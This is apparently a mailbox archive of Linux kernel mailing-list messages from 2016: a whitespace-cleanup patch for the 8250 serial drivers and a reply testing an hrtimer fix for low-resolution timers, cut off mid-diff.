+		(dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
 }
=20
 static int
@@ -1863,8 +1863,8 @@ pci_fastcom335_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch353_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16550A;
@@ -1873,8 +1873,8 @@ pci_wch_ch353_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch38x_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16850;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 7f3bd7b..f2e588e 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -52,7 +52,7 @@
 #define DEBUG_AUTOCONF(fmt...)	do { } while (0)
 #endif
=20
-#define BOTH_EMPTY 	(UART_LSR_TEMT | UART_LSR_THRE)
+#define BOTH_EMPTY	(UART_LSR_TEMT | UART_LSR_THRE)
=20
 /*
  * Here we define the default xmit fifo size used for each type of UAR=
T.
@@ -2254,7 +2254,7 @@ serial8250_get_baud_rate(struct uart_port *port, =
struct ktermios *termios,
=20
 void
 serial8250_do_set_termios(struct uart_port *port, struct ktermios *ter=
mios,
-		          struct ktermios *old)
+			  struct ktermios *old)
 {
 	struct uart_8250_port *up =3D up_to_u8250p(port);
 	unsigned char cval;
--=20
1.9.1



From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 01/15] tty: serial: 8250: Fix whitespace errors
Date: Thu, 14 Jan 2016 16:08:10 +0100
Lines: 291
Approved: news@gmane.org
Message-ID: <1452784104-30840-2-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784404 20019 80.91.229.3 (14 Jan 2016 15:13:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:13:24 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:13:07 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjaE-00062D-9h
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:13:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755576AbcANPMz convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:12:55 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57678 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754736AbcANPIm (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:42 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 689EA58C4C8;
	Thu, 14 Jan 2016 16:08:39 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:39 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126825 gmane.linux.serial:21583 gmane.linux.ports.parisc:26413
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126825>

This patch fixes whitespace errors reported by checkpatch to increase
readability. Main focus is on missing spaces after commas in
function headers and macros (like foo,bar edited to foo, bar).

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_acorn.c |  2 +-
 drivers/tty/serial/8250/8250_hub6.c  |  2 +-
 drivers/tty/serial/8250/8250_pci.c   |  8 +++--
 drivers/tty/serial/8250/8250_port.c  |  2 ++
 drivers/tty/serial/8250/serial_cs.c  | 60 ++++++++++++++++++----------=
--------
 5 files changed, 39 insertions(+), 35 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_acorn.c b/drivers/tty/serial/=
8250/8250_acorn.c
index 549aa07..402dfdd 100644
--- a/drivers/tty/serial/8250/8250_acorn.c
+++ b/drivers/tty/serial/8250/8250_acorn.c
@@ -70,7 +70,7 @@ serial_card_probe(struct expansion_card *ec, const st=
ruct ecard_id *id)
 	uart.port.regshift	=3D 2;
 	uart.port.dev	=3D &ec->dev;
=20
-	for (i =3D 0; i < info->num_ports; i ++) {
+	for (i =3D 0; i < info->num_ports; i++) {
 		uart.port.membase =3D info->vaddr + type->offset[i];
 		uart.port.mapbase =3D bus_addr + type->offset[i];
=20
diff --git a/drivers/tty/serial/8250/8250_hub6.c b/drivers/tty/serial/8=
250/8250_hub6.c
index a5c778e..27124e2 100644
--- a/drivers/tty/serial/8250/8250_hub6.c
+++ b/drivers/tty/serial/8250/8250_hub6.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define HUB6(card,port)							\
+#define HUB6(card, port)						\
 	{								\
 		.iobase		=3D 0x302,				\
 		.irq		=3D 3,					\
diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 4097f3f..ecd5a32 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -1198,8 +1198,9 @@ static int pci_quatech_has_qmcr(struct uart_8250_=
port *port)
=20
 static int pci_quatech_test(struct uart_8250_port *port)
 {
-	u8 reg;
-	u8 qopr =3D pci_quatech_rqopr(port);
+	u8 reg, qopr;
+
+	qopr =3D pci_quatech_rqopr(port);
 	pci_quatech_wqopr(port, qopr & QPCR_TEST_FOR1);
 	reg =3D pci_quatech_rqopr(port) & 0xC0;
 	if (reg !=3D QPCR_TEST_GET1)
@@ -1286,6 +1287,7 @@ static int pci_quatech_init(struct pci_dev *dev)
 		unsigned long base =3D pci_resource_start(dev, 0);
 		if (base) {
 			u32 tmp;
+
 			outl(inl(base + 0x38) | 0x00002000, base + 0x38);
 			tmp =3D inl(base + 0x3c);
 			outl(tmp | 0x01000000, base + 0x3c);
@@ -4502,7 +4504,7 @@ static struct pci_device_id serial_pci_tbl[] =3D =
{
 		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b0_bt_2_921600 },
 	{	PCI_VENDOR_ID_OXSEMI, PCI_DEVICE_ID_OXSEMI_16PCI958,
-		PCI_ANY_ID , PCI_ANY_ID, 0, 0,
+		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b2_8_1152000 },
=20
 	/*
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 52d82d2..7f3bd7b 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1327,6 +1327,7 @@ static void serial8250_start_tx(struct uart_port =
*port)
=20
 		if (up->bugs & UART_BUG_TXEN) {
 			unsigned char lsr;
+
 			lsr =3D serial_in(up, UART_LSR);
 			up->lsr_saved_flags |=3D lsr & LSR_SAVE_FLAGS;
 			if (lsr & UART_LSR_THRE)
@@ -1734,6 +1735,7 @@ static void wait_for_xmitr(struct uart_8250_port =
*up, int bits)
 	/* Wait up to 1s for flow control if necessary */
 	if (up->port.flags & UPF_CONS_FLOW) {
 		unsigned int tmout;
+
 		for (tmout =3D 1000000; tmout; tmout--) {
 			unsigned int msr =3D serial_in(up, UART_MSR);
 			up->msr_saved_flags |=3D msr & MSR_SAVE_FLAGS;
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 4d180c9..6d7a801 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -28,7 +28,7 @@
     and other provisions required by the GPL.  If you do not delete
     the provisions above, a recipient may use your version of this
     file under either the MPL or the GPL.
-   =20
+
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
 #include <linux/module.h>
@@ -257,7 +257,7 @@ static const struct serial_quirk quirks[] =3D {
 };
=20
=20
-static int serial_config(struct pcmcia_device * link);
+static int serial_config(struct pcmcia_device *link);
=20
=20
 static void serial_remove(struct pcmcia_device *link)
@@ -309,7 +309,7 @@ static int serial_probe(struct pcmcia_device *link)
 	dev_dbg(&link->dev, "serial_attach()\n");
=20
 	/* Create new serial device */
-	info =3D kzalloc(sizeof (*info), GFP_KERNEL);
+	info =3D kzalloc(sizeof(*info), GFP_KERNEL);
 	if (!info)
 		return -ENOMEM;
 	info->p_dev =3D link;
@@ -339,7 +339,7 @@ static void serial_detach(struct pcmcia_device *lin=
k)
=20
 /*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
-static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo * info,
+static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo *info,
 			unsigned int iobase, int irq)
 {
 	struct uart_8250_port uart;
@@ -600,7 +600,7 @@ static int serial_check_for_multi(struct pcmcia_dev=
ice *p_dev,  void *priv_data)
 }
=20
=20
-static int serial_config(struct pcmcia_device * link)
+static int serial_config(struct pcmcia_device *link)
 {
 	struct serial_info *info =3D link->priv;
 	int i;
@@ -701,7 +701,7 @@ static const struct pcmcia_device_id serial_ids[] =3D=
 {
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "LINKSYS", "PCMLM336", 0xf7cb0b07, 0x7=
a821b58),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MEGAHERTZ", "XJEM1144/CCEM1144", 0xf5=
10db04, 0x52d21e1e),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MICRO RESEARCH", "COMBO-L/M-336", 0xb=
2ced065, 0x3ced0555),
-	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001" ,0x18df0ba0 ,0x831=
b1064),
+	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001", 0x18df0ba0, 0x831=
b1064),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Diamonds=
 Modem+Ethernet", 0xc2f80cd, 0x656947b9),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Hearts M=
odem+Ethernet", 0xc2f80cd, 0xdc9ba5ed),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "PCMCIAs", "ComboCard", 0xdcfe12d3, 0x=
cd8906cc),
@@ -797,30 +797,30 @@ static const struct pcmcia_device_id serial_ids[]=
 =3D {
 	PCMCIA_DEVICE_CIS_PROD_ID123("ADVANTECH", "COMpad-32/85", "1.0", 0x96=
913a85, 0x8fbe92ae, 0x0877b627, "cis/COMpad2.cis"),
 	PCMCIA_DEVICE_CIS_PROD_ID2("RS-COM 2P", 0xad20b156, "cis/RS-COM-2P.ci=
s"),
 	PCMCIA_DEVICE_CIS_MANF_CARD(0x0013, 0x0000, "cis/GLOBETROTTER.cis"),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100  1.00.",0x19ca78af,0xf964f42b),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100",0x19ca78af,0x71d98e83),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232  1.00.",0x19ca78af,0x69fb7490),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232",0x19ca78af,0xb6bc0235),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232",0x63f2e0bd,0xb9e175d3),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232-5",0x63f2e0bd,0xfce33442),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232",0x3beb8cf2,0x171e=
7190),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232-5",0x3beb8cf2,0x20=
da4262),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF428",0x3beb8cf2,0xea5d=
d57d),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF500",0x3beb8cf2,0xd772=
55fa),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: IC232",0x3beb8cf2,0x6a70=
9903),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: SL232",0x3beb8cf2,0x1843=
0676),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: XL232",0x3beb8cf2,0x6f93=
3767),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial+Parallel Port: SP230",0x=
3beb8cf2,0xdb9e58bc),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(2,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(3,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100  1.00.", 0x19ca78af, 0xf964f42b),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100", 0x19ca78af, 0x71d98e83),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232  1.00.", 0x19ca78af, 0x69fb7490),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232", 0x19ca78af, 0xb6bc0235),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232", 0x63f2e0bd, 0xb9e175d3),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232-5", 0x63f2e0bd, 0xfce33442),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232", 0x3beb8cf2, 0x1=
71e7190),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232-5", 0x3beb8cf2, 0=
x20da4262),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF428", 0x3beb8cf2, 0xe=
a5dd57d),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF500", 0x3beb8cf2, 0xd=
77255fa),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: IC232", 0x3beb8cf2, 0x6=
a709903),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: SL232", 0x3beb8cf2, 0x1=
8430676),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: XL232", 0x3beb8cf2, 0x6=
f933767),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial+Parallel Port: SP230",=
 0x3beb8cf2, 0xdb9e58bc),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(2, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(3, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
 	PCMCIA_DEVICE_MANF_CARD(0x0279, 0x950b),
 	/* too generic */
 	/* PCMCIA_MFC_DEVICE_MANF_CARD(0, 0x0160, 0x0002), */
--=20
1.9.1



From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [patch 1/4] hrtimer: Handle remaining time proper for
 TIME_LOW_RES
Date: Sat, 16 Jan 2016 19:36:47 +0100
Lines: 227
Approved: news@gmane.org
Message-ID: <20160116183647.GA6184@ls3530.box>
References: <20160114163744.582215466@linutronix.de>
 <20160114164159.273328486@linutronix.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1452969479 8886 80.91.229.3 (16 Jan 2016 18:37:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 Jan 2016 18:37:59 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <peterz@infradead.org>,
	Helge Deller <deller@gmx.de>,
	John Stultz <john.stultz@linaro.org>,
	linux-m68k@lists.linux-m68k.org, dhowells@redhat.com
To: Thomas Gleixner <tglx@linutronix.de>, linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 16 19:37:47 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aKVjK-0007mc-IP
	for glpp-linux-parisc@plane.gmane.org; Sat, 16 Jan 2016 19:37:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752600AbcAPShi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Jan 2016 13:37:38 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:63088 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752366AbcAPShg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Jan 2016 13:37:36 -0500
Original-Received: from ls3530.box ([92.203.4.34]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MMkDH-1aEk1s4BTD-008aKF; Sat, 16 Jan 2016 19:36:52
 +0100
Content-Disposition: inline
In-Reply-To: <20160114164159.273328486@linutronix.de>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:7h6j0rcDa6mcNUrFEly1frR5rYJukmltqvxgjIwC7WBFY394ELe
 hyJJeLpQNmbNEBSUDhmNTuY77kmpzd8OUxFdC6JKK68elPKdV5B+InHgG6OEVViidCjc+c1
 0gUaArj0UmV56ShxO44wLUY/P1idrCP6Uo2gvWvo8XmFBU+RlWh1aznLy3cUKyyreh2byfn
 ljBo8tR0tjPhIad0Axl5w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Q2gLtsdRKnI=:fIEzE8eZuuDmyv0fAQaQK4
 6EPcxpIKaFrAYFOSz4efzih7yPoZvcqZnXKl64dgfV+WxtZtXEsOwlcsLNCh+G4gglbUidSm/
 8YhRn/dUJ2tjfn2NbKtwCPslSMGEmzbzhX43R3HPleUyT63nSaGrRnLBW6YodOlYMWrO28uHk
 sWvMVIdyEhPR2oztUfoExre1D3SA87QUX9DtyMaIFYmNgbJGEvP4Kr8NXoh4g3//NnzEXVh4q
 9XgigL90oGtTbmosIShtVN+QVLMdSN0OuY/kH5svqxLBtxE2Xisez9S9XywORHGZw73JadFVi
 ZBE3j5B+bFO/Gv4SeoW+2KylY0UGd8RY74pTbsNCmueoCIpoiwL8qVFnSdZxRLb1m2ai5pviE
 Z4PffpB/LaeyqZTHokuB3NiabpEWvXXLYev7VAb/p1nvJugXBHkjkrGQfR8NnprbCo9WCOSSj
 gBlWXSMg3Dqrz6CICN34fYP6taL1UMV/vQNpbuRtrLaJ6FjI8D/bEkWTT/LbTSTzZdgrMYDna
 nZ6GhwoVUNtBOZN7sEw+WrRp1ZcwmM9u3Wl3nZorFgNsCB9XF29xuiv75HNaWQaCUT6kmjV7u
 uAoZkRORH7G9YN3Mm8L4X+O2k0TYq237yvwmcHKfr0QPm1q0SV6bSCFbxI60mas4NT0GQ4Urb
 O0iqQIquvutxP8TdGmGVsoyFXINepgqiwhWc2zEW8duXRZaWxMQcLQa5WofGZS9vzpyZSgOU5
 l2war0i52J50LugL9YkzQoL9BYcIM5KzHIwvKA9AFR5F4F9jmTwIGyo7BRc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26415 gmane.linux.kernel:2128496
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26415>


Hi Thomas,

* Thomas Gleixner <tglx@linutronix.de>:
> If CONFIG_TIME_LOW_RES is enabled we add a jiffie to the relative timeout to
> prevent short sleeps, but we do not account for that in interfaces which
> retrieve the remaining time.
> 
> Helge observed that timerfd can return a remaining time larger than the
> relative timeout. That's not expected and breaks userland test programs.
> 
> Store the information that the timer was armed relative and provide functions
> to adjust the remaining time. To avoid bloating the hrtimer struct make state
> a u8, which as a bonus results in better code on x86 at least.
> 
> Reported-by: Helge Deller <deller@gmx.de>
> Signed-off-by: Thomas Gleixner <tglx@linutronix.de>

Great!
You can add for this series:
Tested-by: Helge Deller <deller@gmx.de>

Any chance it can get backported to v4.4 ?

Thanks,
Helge

> ---
>  include/linux/hrtimer.h  |   34 ++++++++++++++++++++++++++---
>  kernel/time/hrtimer.c    |   55 +++++++++++++++++++++++++++++++----------------
>  kernel/time/timer_list.c |    2 -
>  3 files changed, 69 insertions(+), 22 deletions(-)
> 
> --- a/include/linux/hrtimer.h
> +++ b/include/linux/hrtimer.h
> @@ -87,7 +87,8 @@ enum hrtimer_restart {
>   * @function:	timer expiry callback function
>   * @base:	pointer to the timer base (per cpu and per clock)
>   * @state:	state information (See bit values above)
> - * @start_pid: timer statistics field to store the pid of the task which
> + * @is_rel:	Set if the timer was armed relative
> + * @start_pid:  timer statistics field to store the pid of the task which
>   *		started the timer
>   * @start_site:	timer statistics field to store the site where the timer
>   *		was started
> @@ -101,7 +102,8 @@ struct hrtimer {
>  	ktime_t				_softexpires;
>  	enum hrtimer_restart		(*function)(struct hrtimer *);
>  	struct hrtimer_clock_base	*base;
> -	unsigned long			state;
> +	u8				state;
> +	u8				is_rel;
>  #ifdef CONFIG_TIMER_STATS
>  	int				start_pid;
>  	void				*start_site;
> @@ -321,6 +323,27 @@ static inline void clock_was_set_delayed
>  
>  #endif
>  
> +static inline ktime_t
> +__hrtimer_expires_remaining_adjusted(const struct hrtimer *timer, ktime_t now)
> +{
> +	ktime_t rem = ktime_sub(timer->node.expires, now);
> +
> +	/*
> +	 * Adjust relative timers for the extra we added in
> +	 * hrtimer_start_range_ns() to prevent short timeouts.
> +	 */
> +	if (IS_ENABLED(CONFIG_TIME_LOW_RES) && timer->is_rel)
> +		rem.tv64 -= hrtimer_resolution;
> +	return rem;
> +}
> +
> +static inline ktime_t
> +hrtimer_expires_remaining_adjusted(const struct hrtimer *timer)
> +{
> +	return __hrtimer_expires_remaining_adjusted(timer,
> +						    timer->base->get_time());
> +}
> +
>  extern void clock_was_set(void);
>  #ifdef CONFIG_TIMERFD
>  extern void timerfd_clock_was_set(void);
> @@ -390,7 +413,12 @@ static inline void hrtimer_restart(struc
>  }
>  
>  /* Query timers: */
> -extern ktime_t hrtimer_get_remaining(const struct hrtimer *timer);
> +extern ktime_t __hrtimer_get_remaining(const struct hrtimer *timer, bool adjust);
> +
> +static inline ktime_t hrtimer_get_remaining(const struct hrtimer *timer)
> +{
> +	return __hrtimer_get_remaining(timer, false);
> +}
>  
>  extern u64 hrtimer_get_next_event(void);
>  
> --- a/kernel/time/hrtimer.c
> +++ b/kernel/time/hrtimer.c
> @@ -897,10 +897,10 @@ static int enqueue_hrtimer(struct hrtime
>   */
>  static void __remove_hrtimer(struct hrtimer *timer,
>  			     struct hrtimer_clock_base *base,
> -			     unsigned long newstate, int reprogram)
> +			     u8 newstate, int reprogram)
>  {
>  	struct hrtimer_cpu_base *cpu_base = base->cpu_base;
> -	unsigned int state = timer->state;
> +	u8 state = timer->state;
>  
>  	timer->state = newstate;
>  	if (!(state & HRTIMER_STATE_ENQUEUED))
> @@ -930,7 +930,7 @@ static inline int
